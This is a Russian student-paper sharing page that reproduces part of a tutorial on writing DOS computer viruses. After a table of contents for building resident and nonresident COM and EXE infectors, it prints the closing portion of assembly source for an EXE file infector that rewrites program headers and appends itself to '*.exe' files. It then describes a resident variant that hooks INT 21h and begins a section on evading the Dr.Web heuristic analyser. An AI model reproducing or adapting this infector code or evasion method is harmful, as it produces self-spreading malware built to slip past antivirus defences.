Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

 

               mov to_02h,dx

               mov word ptr header[02h],dx

               mov ax,to_04h

               mov word ptr header[04h],ax

               mov word ptr header[14h],0

               mov ax,to_16h

               mov word ptr header[16h],ax

               mov word ptr header[0eh],ax

     mov word ptr header[10h],offset ds:new_stack + 96

               mov sub_ds,10h

 

               xor dx,dx              ;Устанавливаем

               xor cx,cx              ;указатель на

               call setpointer        ;начало файла

               jc close_file          ;

 

               lea dx,header          ;И записываем

               mov cx,27              ;измененный за-

               call write             ;головок на диск

               jc close_file

 

               mov dx,f_seek_low      ;Устанавливаем

               mov cx,f_seek_high     ;указатель на

               call setpointer        ;определенное

                                      ;ранее место в

                                      ;файле

               jc close_file

 

               lea dx,vir             ;И записываем на

               mov cx,vir_len         ;диск вирусный

               call write             ;код

 

    close_file:xor ax,ax              ;Закроем зара-

               mov ah,3eh             ;женный файл

               mov bx,descrypt        ;

               int 21h                ;

 

    restore_dta:

               push ds                ;DS -> в стек

               mov ah,1ah             ;Восстановим

               mov dx,080h            ;адрес DTA зара-

               mov bp,es              ;женной програм-

               mov ds,bp              ;мы с помощью

               int 21h                ;функции DOS 1Ah

               pop ds                 ;DS <- из стека

 

               mov ax,my_ip

               mov old_ip,ax

               mov ax,my_cs

              mov old_cs,ax

               mov ax,my_16h

               mov to_16h,ax

               mov ax,my_sp

               mov sp,ax              ;Инициализируем

                                      ;регистр SP ...

               mov ax,cs              ;Найдем

               sub ax,to_16h          ;NS0 + 10h ...

               add my_ss,ax           ;Вычислим SS ...

               mov ss,my_ss           ;

               add ax,old_cs          ;Вычислим CS ...

               mov old_cs,ax          ;

              mov ax,es              ;Инициализируем

               mov ds,ax              ;регистр DS ...

 

               jmp $ + 2              ;Сбросим очередь

                                      ;процессора

               db 0eah                ;И перейдем к

    old_ip     dw 0                   ;исполнению

    old_cs     dw 0                   ;программы ...

 

    ;Procedure area ...

    ;*************************************************

 

    setpointer proc                   ;Процедура уста-

       mov ax,4200h           ;навливает ука-

       mov bx,descrypt        ;затель  в файле

       int 21h                ;на заданный

               ret                    ;байт ...

    setpointer endp

 

    read       proc                   ;Процедура  чте-

               mov ah,3fh             ;ния из файла...

       mov bx,descrypt

       int 21h

               ret

    read       endp

 

    write      proc                   ;Процедура за-

               mov ah,40h             ;писи в файл ...

               mov bx,descrypt

               int 21h

               ret

    write      endp

 

    mover      proc                   ;Процедура умно-

               mov cx,04h             ;жения двойного

    left:      shl dx,1               ;слова CX : DX

               shl ax,1               ;на 16 методом

               adc dx,00h             ;сдвига ...

               loop left              ;

               ret                    ;

    mover      endp

 

    ;Data area ...

    ;*************************************************

 

                                      ;Собственная DTA

                                      ;вируса

               new_dta       db   128 dup (0)

 

                                      ;Маска для поис-

                                      ;ка файла - жер-

                                      ;твы

               maska         db   '*.exe',0

 

                                      ;Буфер для хра-

                                      ;нения имени

                                      ;найденного

                                      ;файла

               fn            db   12 dup (' '),0

 

                                      ;Массив для хра-

                                      ;нения заголовка

               header        db   27 dup ( 0 )

 

               descrypt      dw   0   ;Ячейка для дес-

                                      ;криптора

 

               to_02h        dw   0   ;Эти ячейки ис-

               to_04h        dw   0   ;пользуются для

               to_16h        dw   0   ;хранения пара-

               my_ip         dw   0   ;метров заголо-

               my_cs         dw   0   ;вка заражаемой

               my_16h        dw   0   ;программы и

               my_ss         dw   0   ;той, из которой

               my_sp         dw   0   ;стартовал

               old_ss        dw   0   ;вирус

               old_sp        dw   0   ;

 

               f_seek_low    dw   0   ;В эти перемен-

               f_seek_high   dw   0   ;нные  записывае-

                                      ;тся значение

                                      ;указателя

 

                                      ;Вирусный стек

               new_stack     dw   50 dup ( 0 )

 

               last          db   0   ;Сюда помещается

                                      ;последний байт

                                      ;заражаемого

                                      ;файла

 

                             db   '7' ;Последний байт

                                      ;вирусного кода

 

                                      ;Длина вирусного

                                      ;кода в байтах

       vir_len       equ  $-vir

 

    prg ends

    end vir

 

 

         1.17 Несколько  слов об испытании вируса

 

    В принципе,процесс испытания  созданного вируса ни-

    чем не отличается  от ранее рассмотренного .Обращаю

    внимание читателей только  на одну деталь :

    Отладчик AFD_RUS .COM корректно  работает только  с

    неупакованными EXE - файлами.Если  вы попытаетесь с

    его помощью отладить EXE - программу,  упакованную

    какой - либо утилитой  сжатия ( например, DIET, LZ_

    EXE или PKLITE ), то из этого  ничего не получится.

    Конечно, программа не  испортится,но результаты ра-

    боты отладчика будут  неверными .Для отладки упако-

    ванных программ можно  воспользоваться TURBO DEBUG-

    GER фирмы BORLAND INTERNATIONAL, но еще лучше рас-

    паковать такую программу  и применить отладчик  по-

    проще.

 

    *

     Если в программе  есть команды,изменяющие SS и SP,

     то при " прохождении  " ее AFD_RUS.COM результаты

     работы отладчика   могут быть совершенно неожидан-

     ными. Это происходит  потому, что указанный отлад-

     чик использует стек  исследуемой им программы.

    **

     Все только что  отмеченные недостатки AFD_шки ни  в

     коей мере не дают  сделать вывод,что этот отладчик

     плохой. Наоборот,он во многих отношениях значите-

     льно превосходит  даже  TURBO DEBUGGER. Возможнос-

     тей AFD_RUS вполне достаточно  при отладке пример-

     но 95 % программ.

 

 

             ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО

                      EXE - ВИРУСА

 

             2.1 Алгоритм работы резидентного

                        EXE - вируса

 

    Для начала рассмотрим  алгоритм работы резидентного

    вируса, заражающего EXE - файлы .Он очень похож на

    соответствующий алгоритм  для COM - вируса, поэтому

    подробно рассматриваться  не будет :

 

    Секция инициализации  выполняет следующие действия:

 

    1. Получает управление  при запуске зараженной про-

    граммы .

 

    2. Проверяет, установлена  ли в память  резидентная

    часть вируса .

 

    3. Если резидентная часть не установлена,выполняю-

    тся следующие действия :

 

       a.) Отыскивается  свободный блок памяти достато-

           чного  для размещения вируса размера  .

 

       б.) Код вируса  копируется в найденный блок  па-

           мяти .

 

       в.) В таблице   векторов прерываний соответству-

           ющие  вектора заменяются точками входа  в ви-

           русные  обработчики .

 

       г.) Определяются  значения CS, IP, SS и SP,необ-

           ходимые   для  правильной работы программы  ,

           из которой стартовал вирус .

 

       д.) Управление  передается зараженной программе.

           Для  этого вирус использует команду  безусло-

           вного  дальнего перехода или возврата  из да-

           льней  процедуры.Адрес перехода задается  вы-

           численными CS и IP. После этого  начинается

           обычное  выполнение программы .

 

    В том случае,  если  резидентная часть  вируса  уже

    находится в памяти,  он просто выполняет  действия

    перечисленные в п.п.  " Г " и " Д " .

 

    Резидентная часть работает по такому " сценарию ":

 

    1. Анализирует  все  вызовы  системного  прерывания

    INT 21h с целью выявить  переход оператора в  новый

    каталог или смену  текущего диска .

 

    2. Если обнаружится смена  текущего диска или ката-

    лога, резидентная часть  должна :

 

       а.) Сохранить  исходное состояние вычислительной

           системы  .

 

       б.) Найти на  диске подходящий EXE - файл .

 

       в.) Записать вирусный  код в конец этого файла  .

 

       г.) Скорректировать  заголовок файла ( см. п.1.4

           гл. 1 ч. 2 ) .

 

       д.) Восстановить  исходное состояние  вычислите-

           льной  системы и передать ей управление .

 

    Как  и в случае  с COM - вирусом,  заражение файлов

    выполняет только резидентная  часть .Вредные дейст-

    вия можно " возложить  " как на резидентную,  так  и

    на транзитную часть  ( на транзитную - проще,  а на

    резидентную - обычно  сложнее . ) .

 

 

          2.2 Защита  от программ - антивирусов

 

    Честно говоря, эта глава  просто является обобщени-

    ем всех предыдущих . Поэтому все основное уже рас-

    сказано .Но есть несколько  весьма интересных и за-

    служивающих вашего внимания  вопросов,о которых по-

    чти не упоминается  в литературе .Речь идет о   пос-

    троении вирусов,  " невидимых "  для  антивирусных

    программ.В самом деле,один - единственный  "обыск"

    с помощью программы  DOCTOR WEB на диске или в  па-

    мяти может свести  все наши усилия к нулю . Поэтому

    самое время поговорить  о способах скрытия  вирусом

    своего наличия в вычислительной системе .

    Технику  защиты вирусной  программы от  обнаружения

    мы рассмотрим на примере  всем известного антивиру-

    са DOCTOR WEB.Именно эта программа  является наибо-

    лее удачной и используемой.

    Как вы знаете, для обнаружения неизвестных вирусов

    DOCTOR WEB использует так  называемый эвристический

    анализатор, моделирующий  действия человека, желаю-

    щего обнаружить новый  вирус.

    Все изложенное  ниже  базируется на следующем пред-

    положении :эвристический  анализатор, по существу,

    представляет собой комбинацию  пошагового отладчика

    и программы, анализирующей  результаты его работы .

    Перейдем  к делу . Если  вы  " заразите " ваш  ком-

    пьютер написанным ранее  резидентным COM - вирусом,

   а потом запустите DOCTOR WEB ( режим тестирования

    памяти должен быть  включен ), то вирус будет обна-

    ружен как неизвестный  резидентный .Кроме того, ан-

    тивирусная программа  определит адрес в памяти,  по

    которому находится вирусный  код . Если вы просмот-

    рите содержимое памяти  по этому адресу,то увидите,

    что DOCTOR WEB " ошибся ".А  именно - по указанному

    адресу расположен собственно  не сам вирус,а только

    его обработчик прерывания INT 21h.На остальные ви-

    русные обработчики антивирус не обратил внимания .

    Исходя из этого можно  сделать такие выводы :

 

    1.) Эвристический  анализатор  определяет, на какой

        адрес  указывает   вектор прерывания  INT 21h в

        таблице векторов .

 

    2.) Далее вступают в  действие следующие соображе-

        ния : Обработчик  прерывания INT 21h почти  ни-

        когда не  может находиться в самых младших  (на-

        пример,в области  данных BIOS) или в самых ста-

        рших (например, в последнем сегменте)  адресах

        основной памяти .Поэтому при обнаружении такой

        ситуации эвристический  анализатор считает, что

Информация о работе Вирусы